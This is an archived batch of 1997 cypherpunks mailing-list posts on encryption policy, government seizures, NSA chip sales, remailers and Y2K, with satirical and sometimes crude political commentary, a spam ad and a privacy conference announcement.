I will be on a much needed vacation for the next couple of weeks in
Chicago.

If any CP's wish to get together this weekend while I am up there please
let me know by Wed afternoon.

I'll be droping my subsrciptions down to only the ssz list for the
duration of my vacation.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 30 Jul 1997 12:06:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime
In-Reply-To: <v0310280cb004372f80c1@[207.167.93.63]>
Message-ID: <19970730035809.15004.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim writes:

> One word explains this and similar laws: "thoughtcrime."

An interesting aside.  A reliable source tells me that the thing that
pushed XtatiX.com over the edge was a threat by US Customs to seize all
their equipment for

"Investigation of an International Child Pornography Ring" 

Note this is merely an "investigation,"  not even an allegation that a
crime has actually occurred.  Apparently, they seize all your assets, then
investigate, and keep them regardless of the outcome.

XtatiX, consisting of two not particularly wealthy guys and a Linux box,
had no alternative but to remove from their system free speech the Feds
didn't like, in order to remain in business.

The thumbscrews of Democracy work in mysterious ways. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 30 Jul 1997 09:22:59 +0800
To: cypherpunks@toad.com
Subject: Re: CanadaBanAna Censors US TV (and bans decryption)
In-Reply-To: <199707270408.GAA12295@basement.replay.com>
Message-ID: <3.0.2.32.19970729210935.03611ad0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>   In this judgment, it is illegal for a Canadian to watch HBO and scores
>   of other channels now available in the United States -- even if the
>   service is paid for -- on the grounds that the federal
>   Radiocommunication Act makes it illegal. The act says no person shall
>   decode an encrypted signal without paying for the service and without
>   authorization of the person who has the lawful right in Canada to
>   transmit the signal.

Looks like another case for the WTO.

Canadians have been buying gray market service from Direct TV for a while 
now.  Hard to stop.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 04:15:01 +0800
To: cypherpunks@toad.com
Subject: Re: y2k problem *serious*
Message-ID: <199707291944.VAA14920@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
 
> Ah, so "Toto" is still with us (if only shadowed by the cloak work of the
> lurker...)

Ray,
Prying open my 3rd eye. So good to see you once again. I thought you
were hiding. And you thought that I had run away. Chasing the tail of
dogma. I opened my eye and there we were....                     

"Woof" <wag-wag>
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 30 Jul 1997 12:01:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: National Security Agency markets commercial ASICs (fwd)
Message-ID: <199707300347.WAA15604@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

This has to be a first. Usually the central government wants its citizens to
pay taxes. What a novel idea investing our tax dollars this way.

When can we expect to get our dividends as tax payers and therefore inherent
investors in this little enterprise?

Sounds like somebody in the NSA is getting ready to have their collective
butts fried...


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-cypherpunks@ssz.com Tue Jul 29 15:59:12 1997
> Message-ID: <33DE5CF2.2424@nwdtc.com>
> Date: Tue, 29 Jul 1997 14:13:22 -0700
> From: Alan Olsen <root@nwdtc.com>
> Organization: Xerox Business Services - NW DTC
> X-Mailer: Mozilla 3.01 (X11; U; SunOS 5.5.1 sun4m)
> MIME-Version: 1.0
> To: cypherpunks@algebra.com
> Subject: National Security Agency markets commercial ASICs
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> Sender: owner-cypherpunks@ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks@ssz.com
> X-List-Admin: list@ssz.com
> X-Loop: ssz.com
> http: //techweb.cmp.com/eet/news/97/965news/national.html
> 
> National Security Agency markets commercial ASICs
> By Loring Wirbel
> 
> SNOWMASS, Colo. -- On a scale unprecedented for a government
> intelligence arm, the National Security Agency (NSA) is expanding its
> selling of
> ASICs and design services, even offering commercial semiconductor
> designs for selected space-based and terrestrial applications. 
> 
> Terry Brown, NSA deputy chief of microelectronics, said the customer
> list will still be so specialized that the agency won't compete directly
> against
> developers of military ASICs and rad-hard devices. "Any customer of ours
> would still require a government sponsor at some level," he said. 
> 
> Nevertheless, at an IEEE conference held recently, representatives of
> Harris Semiconductor and UTMC Microelectronic Systems wondered how and
> why a secret government agency would compete against them. 
> 
> One representative of a commercial IC house, who asked not to be
> identified, said, "Whenever the government thinks it can sell products
> to OEMs, it
> inherently raises some problems." 
> 
> The commercial efforts involve NSA's 6-inch CMOS fab, run by National
> Semiconductor Corp., at NSA headquarters in Fort Meade, Md., and a
> Microelectronics Research Lab run by NSA at an undisclosed Maryland
> location. The agency has developed special ASICs for selected customers
> ever since National helped open the fab in the late 1980s. Some, such as
> the Mykotronx division of Rainbow Technologies Inc., were partners in
> crypto chips, while others sought NSA expertise in radiation-hardness
> for space applications. 
> 
> Looking to expand that customer base, the agency has named Leland Miller
> its first director of marketing for microelectronics. At the IEEE
> Nuclear
> and Space Radiation Effects Conference, NSA had a large trade booth
> advertising the capabilities of "NSA Microelectronics." 
> 
> Brown said NSA has special talent in data-path design, used in signal
> and image processing but ignored by many ASIC vendors. 
> 
> NSA's fab has a library of more than 100 standard cells, optimized for
> CMOS feature sizes from 0.5 to 1.2 microns. The fab handles double- and
> triple-metal designs and is just beginning to add non-volatile EPROM and
> E2PROM cell capabilities.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 30 Jul 1997 12:38:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Thoughtcrime (fwd)
Message-ID: <199707300418.XAA15705@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Thoughtcrime
> Date: Tue, 29 Jul 1997 20:58:09 -0700 (PDT)
> From: Mike Duvos <enoch@zipcon.net>
> 
> An interesting aside.  A reliable source tells me that the thing that
> pushed XtatiX.com over the edge was a threat by US Customs to seize all
> their equipment for
> 
> "Investigation of an International Child Pornography Ring" 
> 
> Note this is merely an "investigation,"  not even an allegation that a
> crime has actually occurred.  Apparently, they seize all your assets, then
> investigate, and keep them regardless of the outcome.
> 
> XtatiX, consisting of two not particularly wealthy guys and a Linux box,
> had no alternative but to remove from their system free speech the Feds
> didn't like, in order to remain in business.
> 
> The thumbscrews of Democracy work in mysterious ways. :)

This is a cop-out attitude. They should have screamed bloody murder and
demanded at least a public apology. Every commercial customer should
understand their right to sue for losses related to 'work in progress' and
for such seizures to be legal must be explicity listed on the search
warrant. Simply buying service from a company isn't worth the hassle to push
as probable cause, especialy if wrong even in one instance.

Hell, if they make less than a million a year each now it is in their best
interest to fight. The income potential alone is worth it assuming they had
the moxy to figure out a good way to market it. Which might be a novel
tactic to use, "screw with me and I'll make money off it, screw with me more
and I'll make even more..."

If the NSA can take our federaly mandated tax dollars to run a commercial
enterprise in the market they set legislation for why should anyone object
to others making a profit off their actions?

We need an amendment something akin to the 1st relating to the relationship
between government and commercial enterprise.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 06:08:18 +0800
To: cypherpunks@toad.com
Subject: Re: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
Message-ID: <199707292148.XAA29748@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: Declan McCullagh <declan@well.com>
> To: fight-censorship@vorlon.mit.edu
> Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
> -----
> http://pathfinder.com/netly/opinion/0,1042,1222,00.html

>         It started in May, after Cox launched an assault on "boy-lover"
>    web sites in an attempt to force them offline. But she and her allies
>    ran into a serious obstacle: the sites aren't illegal. They're filled
>    not with child pornography -- which is banned by federal law -- but,
>    instead, photos of boys in swimsuits. "They shouldn't be doing these
>    things with the children's pictures," Cox says.

  ROTFLMAO!
  I checked out the "Sewer" site and followed the links. It seems that
the threat of "boylover" porno on the Internet is so slight that dear
Ms. Suques-Cox's list of "evil" sites is mostly links to the sites of
child actors and actors-guild types of sites which are for the purpose
of highlighting their careers, promote fan clubs, etc.
  In addition, she demands that these sights post (or email her) some
type of "disclaimer" in order to be removed from her sewer list, despite
the fact that the "dirt" seems to be entirely in her twisted little
mind.

  No doubt Ms. Suques-Cox is raking in the dough in her efforts to
"fight the good fight" against the demons in her mind, by projecting
them into an outside threat to her world-view.
  I was thinking that perhaps I might be able to ride this fascist trend
to the Big Buck$ by attacking web sites which contain perverted pictures
of such things as cantalopes, cucumbers, valleys, caves,
obleisks--pretty
much anything that is longer than it is wide, or deeper than it is flat.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 15:13:23 +0800
To: cypherpunks@Algebra.COM
Subject: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
Message-ID: <v03102801b004964f2981@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





Reuter, Seattle: In an ironic twist, notorious info-terrorist and thought
criminal James Dalton Bell is expected to be imprisoned longer than former
Khmer Rouge leader Pol Pot will be imprisoned in Cambodia.

Reached for comment, U.S. Deputy Assistant Persecutor Francine P. Malveaux
admitted that Bell's punishment is indeed harsher than that befalling Pol
Pot, accused of ordering the killing of 3 million Cambodians from 1975 to
1979. She said, "But Bell confessed to his crimes, and Pol Pot just took
the Fifth, so Mr. Pot was actually not convicted of anything more serious
than selling contraband copies of "Zap Comix," which his rebel band was
smuggling in from Myanmar."

FBI Director Louis Unfreeh acknowledges the harsh treatment Bell is
receiving is meant as a deterrent. "We are looking into the possibility of
inviting Mr. Pot to come to the United States after he completes his 3
months of community service...we'd like him to advise us on our growing
internal security problems," he noted.

Bell could not be reached for comment.





--















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CBRAT97@aol.com
Date: Wed, 30 Jul 1997 13:19:45 +0800
To: cypherpunks@toad.com
Subject: Work at Home
Message-ID: <970730010646_378681795@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



If this message is not appropriate for you, please accept my apology and
remove it.

WORK AT HOME!

Are you looking for a home-based employment or business opportunity?
Our amazing publication: The Guide to Genuine Home Employment will help!

We connect people with HONEST companies who hire people to work at home.

To receive complete information on our Guide to Genuine Home Employment,
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 30 Jul 1997 16:28:21 +0800
To: cypherpunks@toad.com
Subject: Gary Burnore Arrested at Critical Mass
Message-ID: <3.0.2.32.19970730011236.030509b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Those of you in the San Francisco area have seen headlines
about the Critical Mass monthly bicycle rides around San Francisco
and about how Da Mayor and the police decided to control them
(as if telling an anarchy what to do is productive for anyone)
and arrested 250 people, some for running red lights, but
many for failing to disperse, as near as I can tell from the papers.
It was overall a fun evening, though my brakes weren't really
up to Lombard Street :-)

Anyway, Gary Burnore, scourge of the remailers, was arrested.  
According to the paper, he wasn't really sure why; 
the police didn't give people enough time to disperse
before massly arresting them for not dispersing.

The city district attorney _has_ informed Da Mayor that the city can't
just confiscate the bikes that were seized along with the riders;
apparently it's not part of the law :-)  On the other hand,
that doesn't mean they necessarily have to give them back
right away, as opposed to holding them as evidence.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Wed, 30 Jul 1997 09:48:50 +0800
To: cypherpunks@toad.com
Subject: upside of y2k
Message-ID: <199707300022.BAA05188@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Z. Nuri wrote:
   
>    Speaking of banks, what if your savings account is in XYZSavings and
>    Loan of South Poobah? If depositors begin to worry about XYZ's
>    year-2000 compliance in late 1999, will they begin withdrawing all of
>    their money? If they do, will you be able to withdraw your money on
>    January 3, 2000? Indeed, given the delicate balance of the fractional
>    reserve system used by banks, it doesn't take a very large percentage
>    of panicky customers to cause a bank run. The worst-case scenario in
>    this area is pretty scary -- it might not be just the XYZSavings and
>    Loan that suffers a bank run, but the big banks too. If the banks
>    close for more than a couple of days, then how does the government
>    collect taxes? If the government can't collect taxes, what happens to
>    the value of its bonds, T-bills, and other financial instruments?
   
On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
>   actively working toward sabotaging government and corporate efforts
>   to resolve the Year 2000 problems. 

This all reminds me of the old Polish joke....

Man takes week's wages into his bank, and he hands it over the counter
he has second thoughts, so he asks the teller "What if the bank collapses ?"

T: "Easy, sir.  We're in a federation that will bail us out."

C: "And if it's widespread, beyond the scope of the federation ?"

T: "Then the government bails us out."

C: "What, our Polish government ?  It could be too much for them."

T (getting bored): "Then the _Soviet_ government gets involved."

C: "It could get really big, affecting a number of satellites
    what if it gets beynd the reach of the Soviet gov ? I mean,
    it could result in the collapse of communism!"

T: "And isn't that worth a week's wages ?"


--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 16:34:51 +0800
To: cypherpunks@toad.com
Subject: Government takeover of the gambling industry
In-Reply-To: <199707300716.JAA04996@basement.replay.com>
Message-ID: <v03102803b004a9c5bbfe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:16 AM -0700 7/30/97, Anonymous wrote:

>  Youngsters on the list might not remember how private individuals
>involved in gambling used to be denigrated by the government as "the
>scum of the earth"--as "criminals" and "mobsters" and "evil."
>  Now that the government has hijacked the gambling industry, only
>those not paying the government their share of the "vigorish" are
>scum-sucking criminals.

It's the way of all governments. First denounce something, then co-opt it,
then get rid of the competition.

But imagine how this might rebound to our favor: suppose NSA
Microelectronics, Inc. finds itself limited in its sales prospects by the
NSA policies limiting electronics companies...maybe NSA Microelectronics
will point out to the DIRNSA that the nice flow of kickbacks to all senior
NSA managers will come to a halt if NSA Microelectronics is not able to
sell its crypto products domestically.

Still, better just to have a trial and then hang them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 30 Jul 1997 16:41:58 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970721120326.06352@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970730012900.270A-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 21 Jul 1997, Kent Crispin wrote:
> I view your question as equivalent to "But what if one has no
> brain..." Principles are underlying rules controlling behavior, and

	I'd guess you never worked tech support have you.  

	There are people without <functional> brains. I <shudder> know. 

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 30 Jul 1997 08:59:53 +0800
To: cypherpunks@toad.com
Subject: Screw SAFE / Re: Majority in house support SAFE encryption bill, from SPAlert
Message-ID: <199707300043.CAA23727@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> MAJORITY IN HOUSE SUPPORT PASSAGE OF ENCRYPTION BILL

> "On the other side of Capitol Hill, however, the
> ghost of J. Edgar Hoover lurks in the cloakrooms of the Senate.  Rather
> than taking a courageous stand for America, some Senators would rather
> follow the administration's play book, trading personal freedoms for what
> they themselves admit is only marginal improvement."

  Screw SAFE, and screw the Senate.
  The Military-Industrial complex is switching their web network to
utilize the tools developed by the free market. The reason is that
the anal-retentive robots that they employee are incapable of
producing products and services at the same level as those which
are produced by free men.
  Let the fascist fucks in the Senate and at the DOD fiddle while 
D.C. burns. Let them fuck up the American crypto industry with Brave
New Clipper Chips while free men in other countries develop the
technology that will enable them to slip the Pentagon a cold, hard
one up the butt and free us from the bulimic Senate swine.

  It's better that we should let foreigners with strong crypto take
care of nuking D.C. for us. Perhaps this is what Clinton's Chinese
campaign contributors have in mind. Perhaps the Chinese are actually
the ones behind the scenes calling the shots in the Whithouse stand
on opposing strong U.S.-developed encryption.
  No doubt foreign spies and terrorists are vocal supporters of the
Whitehouse's stance on encryption and key escrow. (As are the
money-grubbers who can't wait to take advantage of having access
to corporate America's private communications.)

  I guess those who have given up their guns to those who oppose the
Constitution should start taking some foreign language classes.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pretty Lousy Remailer" <plm@dv.nl>
Date: Wed, 30 Jul 1997 17:00:07 +0800
To: cypherpunks@toad.com
Subject: Re: [NEWS}: "Jim Bell to Face More Prison Time than Pol Pot"
Message-ID: <199707300846.CAA14357@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> Reuter, Seattle: In an ironic twist, notorious info-terrorist and thought
> criminal James Dalton Bell is expected to be imprisoned longer than former
> Khmer Rouge leader Pol Pot will be imprisoned in Cambodia.

  This Tim May guy seems to be some kind of wise-guy/troublemaker.
  He obviously doesn't understand the difference between a respected
world-leader and an average citizen.

> Reached for comment, U.S. Deputy Assistant Persecutor Francine P. Malveaux
> admitted that Bell's punishment is indeed harsher than that befalling Pol
> Pot, accused of ordering the killing of 3 million Cambodians from 1975 to
> 1979. She said, "But Bell confessed to his crimes, and Pol Pot just took
> the Fifth, so Mr. Pot was actually not convicted of anything more serious
> than selling contraband copies of "Zap Comix," which his rebel band was
> smuggling in from Myanmar."

  What Mr. May fails to mention, in his pathetic attempt to mislead his
readers, is that those 3 million Cambodians that Pol Pot eliminated were
all terrorists, child-pornographers and drug dealers. These actions were
necessary in order to protect "national dictatorship" and to meet the
"legitimate needs of dictatorship."
 
> FBI Director Louis Unfreeh acknowledges the harsh treatment Bell is
> receiving is meant as a deterrent. "We are looking into the possibility of
> inviting Mr. Pot to come to the United States after he completes his 3
> months of community service...we'd like him to advise us on our growing
> internal security problems," he noted.

  Despite Mr. May's snide sarcasm, ask yourself, "Who would I rather
have
acting as the new CypherPunks list moderator--Pol Pot or Jim Bell?"
  The choice is obvious.
 
> Bell could not be reached for comment.

  Bell also could not be reached when the President tried to contact him
to arrange a pardon in return for his methamphetamine recipe. Clinton,
clutching a needle and spoon in his hand, stated, "I tried speed once,
but I didn't inhale."
  Reports indicate that the Public Defender representing Bell told him,
"The _Bad_News_ is that I sold you down the river. The _Good_News_ is
that I'm getting a promotion and a tax refund next year."

  Tim C. May would have us believe that some no-account loser who only
fantasized about murdering his enemies should be given the same respect
and consideration as a world-leader who had the courage and character
needed to put his ideas into action.
  If Mr. May was not too lazy to check the mainstream media archives,
he would be aware that Pol Pot was sentenced to "house arrest." If
Mr. May was did not consider himself so high-and-mighty that he thinks
it beneath him to suck a little D.C. cock for inside information, he
would also be aware that the "house" Pol Pot will be confined to is
the "Whitehouse" and that he will be sleeping in the Lincoln bedroom
as a result of his generous donation of gold-tooth fillings to the
next Democratic election campaign.

  CypherPunks list readers should be aware that Tim C. May's hidden
agenda is to subvert national security by working in the interests
of privacy, freedom and liberty, at the expense of "we the sheeple."
  If we allow anarchists and terrorists such as Mr. May and his
cohorts to interfere with the "legitimate needs of fucking the 
citizens over and remaining in power," then we can expect to be 
faced with chaos and lawlessness, with CypherPunks destroying
government property by dumping Clipper Chips into Boston Harbor.

  Believe Tim C. May's lies, if you will, but you cannot deny that
Pol Pot's execution of 3 million Cambodians serves to affirm that
he was, indeed, "tough on crime." That, alone, should get him 
elected as the next Congressman from Arizona.

FrissellMonger

XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---
This email was forwarded by the "Pretty Lousy Remailer." If you wish to
know who sent it, check the headers. "PLR" has no interest in protecting
the identity of anonymous cowards such as Queen Elizabeth II.
XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---XXX---YYY---ZZZ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 30 Jul 1997 17:29:15 +0800
To: cypherpunks@toad.com
Subject: Escrow conference in Brussels
Message-ID: <1.5.4.32.19970730090516.0070c834@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



To: ukcrypto@maillist.ox.ac.uk
Subject: Escrow conference in Brussels
Date: Wed, 30 Jul 1997 09:54:20 +0100
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>



                       CONFERENCE ANNOUNCEMENT

                     CRYPTOGRAPHY AND THE INTERNET

                 Developing Privacy and Security Policy
                  for the European Information Society


                            Organised by

                       PRIVACY INTERNATIONAL

                      Cooperating Organisations

                  Communications Week International
                Electronic Privacy Information Center
                   Global Internet Liberty Campaign
                               MICROBE
                              Terra Nova


                      Monday, 15 September 1997

                 Belliard Building, European Parliament
                           Brussels, Belgium


As Europe creates the Information Society,  ensuring the security and
privacy of its advanced telecommunications and computer networks has
become critically important. Cryptography is a crucial technology to
protect these networks. Law enforcement and intelligence agencies, led by
the the United States, are lobbying national governments and
international organizations for laws and international agreements to
enhance their abilities to monitor  networks through the use of "trusted
third parties," key escrow and key recovery systems. This has met with
considerable debate and resistance in many countries and international
meetings.

This conference will bring together leading legal and technical experts
>from around the world to discuss encryption and telecommunications
security with a focus on issues raised by trusted third party, key escrow
and key recovery systems. A panel of leading cryptographers and computer
security experts will examine the technical problems and risks raised.
Representatives from governments, human rights groups, industry, user
groups, and international organizations will discuss their perspectives
and provide updates on developments from around Europe and the world.


Keynote Speaker: Commissioner Mario Monti, European Union (invited)

       Confirmed Speakers

    Dr. Ross Anderson, University of Cambridge, UK
    David Banisar, Electronic Privacy Information Center, USA
    Dr. Matt Blaze, AT&T Labs, USA
    Tony Bunyan, Statewatch, UK
    Carl Ellison, CyberCash
    Simon Davies, London School of Economics & Privacy International
    Deborah Hurley, Terra Nova
    Dr. Erik Huizer, Internet Architecture Board & SURFNet, NL
    Wayne Madsen, Global Internet Liberty Campaign
    Hiroko Kamata, Organization for Economic Cooperation and Development
    Marc Rotenberg, Electronic Privacy Information Center, USA
    Bruce Schneier, Counterpane Systems and Author, Applied Cryptography
    Christine Sottong-Micas, DG 15, European Commission
    Dr. Ulrich Sandl, Ministry of Economic Affairs, Germany
    Prof. Alex Verrijn-Stuart, Chair, Legal & Security Issues Network,
      Council of European Professiona Informatics Societies (CEPIS) &
      Leiden University, NL
    Dr. Steven Wright, Omega Foundation, UK

COST

	8300 Bfr / US$225.00 Standard Rate
	2700 Bfr / US$85.00 Human Rights/Academia Rate

-----------------------------------------------------------------------

  REGISTRATION


  Name: _______________________________________________________________

  Organization:  ______________________________________________________

  Address:   __________________________________________________________

_______________________________________________________________________

  Phone/Fax: __________________________________________________________

  Electronic  Mail:____________________________________________________

  Credit card Number/Expiration _______________________________________
(Will appear on bill as Diane Publishing)


  [] Standard - 8100 Bfr ($225 US)
  [] Non-profit organizations/Educational - 3100 Bfr ($85 US)

  Fax Registration form and credit card number to +1 202.547.5482

  Send Check or Money Order in $US made out to Privacy International to:

	Privacy International Washington Office
	666 Pennsylvania Ave, SE, Suite 301
	Washington, DC 20003 USA

Online registration and payment using First Virtual is available at

     http://www.privacy.org/pi/conference/brussels/registration.html


MORE INFORMATION

More information about the conference including the agenda,online
registration, Brussels hotel and tourist information, and other related
materials is available from the Privacy International web page at:

          http://www.privacy.org/pi/conference/brussels/


ABOUT PRIVACY INTERNATIONAL

Privacy International (PI) is a human rights organization concerned with
privacy, surveillance and data protection issues worldwide.  It has
members in over forty countries and is based in London, England with
offices in Washington, DC and Sydney, Australia.  PI has engaged in
numerous campaigns on privacy issues, publishes the International Privacy
Bulletin, sponsors yearly conferences, and maintains an extensive
Internet web site at http://www.privacy.org/pi/


CONTACT INFORMATION

David Banisar, Privacy International Washington Office o 666
Pennsylvania Avenue, SE o Washington, D.C. 20003 USA. +1.202.544.9240
(voice), +1.202.547.5482 (fax),  ast3@privacy.org (email),






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 30 Jul 1997 20:43:56 +0800
To: cypherpunks@toad.com
Subject: Re: Online Casino Ripoffs / Re: 7-29_b8_EXTRA_Internet.html
In-Reply-To: <199707300716.JAA04996@basement.replay.com>
Message-ID: <yukNae18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   Youngsters on the list might not remember how private individuals
> involved in gambling used to be denigrated by the government as "the
> scum of the earth"--as "criminals" and "mobsters" and "evil."
>   Now that the government has hijacked the gambling industry, only
> those not paying the government their share of the "vigorish" are
> scum-sucking criminals.

Of course the reason the "illegal" numbers rackets are so popular still
is that they offer much better odds of winning than the state lottery.
Unable to compete in the marketplace, the gubmint outlaws the
competition. Same way the gubmint wants to outlaw better crypto
than what the NSA has to offer.

ObPICSshit: I heard on the radio of a decision yesteday by (I think) NYS
Supremes: NYS is NOT violating its constitution's free speech blurb by
banning beer with politically incorrect _labels.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Wed, 30 Jul 1997 22:52:05 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.GSO.3.95.970724093525.25014H-100000@well.com>
Message-ID: <33DF5190.26EB@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> The Secret Service sells tree ornaments every year. They're quite nice.
> Though by the time I got back from Singapore last December, they were sold
> out. Don't think they do mail order; it's just for building residents.
> 
> If there's a tremendous amount of interest I might be talked into taking
> orders this year. They're only about $12 each.
> 
> I hear from fellow jlists that the S.S. also runs a souvenier shop in the
> basement of the Old Executive Office Building, on the White House
> compound. I've never been able to find it, though.
> 
> -Declan

I'll keep the offer in mind this year.  If nothing else, they would make
great gifts for some of my more paranoid friends.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Wed, 30 Jul 1997 22:54:43 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <Pine.SUN.3.96.970724125100.29712N-100000@beast.brainlink.com>
Message-ID: <33DF51BF.241@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> 
> On Thu, 24 Jul 1997, Doug Peterson wrote:
> 
> > Declan McCullagh wrote:
> > >
> > > It's actually the Secret Service offices that are upstairs from the Time
> > > bureau, on the top floor of the building. Perhaps because we're close
> > > enough to see the White House? Dunno. The only time I went up there was
> > > when they were selling Xmas tree ornaments.
> >
> > Secret Service Xmas tree ornaments?  Hmm.  Next time they are selling
> > them, could you find out if they have a mail order address?
> 
> Sure you want'em?  They're probably as buggy as a swap in july.
> 

Hehe.  Thats the idea...

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Wed, 30 Jul 1997 21:01:49 +0800
